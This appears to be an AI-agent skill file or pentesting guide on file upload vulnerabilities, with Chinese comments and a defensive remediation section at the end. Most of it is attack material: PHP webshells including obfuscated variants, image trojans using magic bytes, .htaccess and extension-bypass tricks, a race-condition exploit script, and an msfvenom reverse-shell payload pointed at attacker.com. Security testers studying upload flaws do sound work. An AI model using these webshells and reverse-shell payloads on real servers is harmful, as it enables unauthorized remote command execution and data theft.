Overview
File upload functionality is a common feature in web applications, but it carries multiple security risks. This skill provides methods for detecting, exploiting, and preventing file upload vulnerabilities.
Vulnerability Types
1. Unvalidated File Type
Frontend-only validation:
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}
2. Unvalidated File Content
Only checks extension:
// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
3. Path Traversal
Unfiltered filename:
filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam
4. Filename Overwrite
Predictable filenames:
uploads/1.jpg
uploads/2.jpg
Testing Methods
1. Basic Detection
Test various file types:
- .php, .jsp, .asp, .aspx
- .php3, .php4, .php5, .phtml
- .jspx, .jspf
- .htaccess, .htpasswd
Test double extensions:
shell.php.jpg
shell.jpg.php
Test case sensitivity:
shell.PHP
shell.PhP
2. Content-Type Bypass
Modify Content-Type:
Content-Type: image/jpeg
# 但文件内容是PHP代码
Magic Bytes:
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
3. Parsing Vulnerabilities
Apache parsing vulnerability:
shell.php.xxx # Apache可能解析为PHP
IIS parsing vulnerability:
shell.asp;.jpg
shell.asp:.jpg
Nginx parsing vulnerability:
shell.jpg%00.php
4. Race Condition
Access immediately after file upload:
# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
Exploitation Techniques
PHP WebShell
Basic WebShell:
<?php system($_GET['cmd']); ?>
One-liner trojan:
<?php eval($_POST['a']); ?>
Bypass filtering:
<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system
.htaccess Exploitation
Upload .htaccess:
AddType application/x-httpd-php .jpg
Then upload shell.jpg (actually PHP code)
Image Trojan
GIF image trojan:
GIF89a
<?php
phpinfo();
?>
PNG image trojan:
# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png
File Inclusion Combination
If a file inclusion vulnerability exists:
# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg
Bypass Techniques
Extension Bypass
Double extension:
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
Case sensitivity:
shell.PHP
shell.PhP
Special characters:
shell.php.
shell.php
shell.php%20
Content-Type Bypass
Modify request headers:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Magic Bytes Bypass
Add file header:
// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>
Code Obfuscation
Use short tags:
<?= system($_GET['cmd']); ?>
Use variables:
<?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);
Tool Usage
Burp Suite
- Intercept file upload requests
- Modify filenames and content
- Test various bypass techniques
Upload Bypass
# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php
WebShell Generation
# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
Verification and Reporting
Verification Steps
- Confirm that malicious files can be uploaded
- Verify that the file can execute
- Assess impact (command execution, data leakage, etc.)
- Record the complete POC
Report Key Points
- Vulnerability location and upload functionality
- Uploadable file types and execution methods
- Complete exploitation steps and PoC
- Remediation recommendations (file type validation, content inspection, secure storage, etc.)
Protective Measures
Recommended Solutions
-
File type whitelist
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'} ext = filename.rsplit('.', 1)[1].lower() if ext not in ALLOWED_EXTENSIONS: raise ValueError("File type not allowed") -
File content validation
import magic file_type = magic.from_buffer(file_content, mime=True) if not file_type.startswith('image/'): raise ValueError("Invalid file content") -
Rename files
import uuid filename = str(uuid.uuid4()) + '.' + ext -
Isolated storage
- Store files outside the web root directory
- Access through script proxy
- Disable execution permissions
-
File scanning
- Scan with antivirus software
- Inspect file content
- Remove executable permissions
-
Size limits
MAX_SIZE = 5 * 1024 * 1024 # 5MB if file.size > MAX_SIZE: raise ValueError("File too large")
Notes
- Perform only in authorized testing environments
- Avoid uploading malicious files to the production environment
- Clean up promptly after testing
- Pay attention to parsing differences across different servers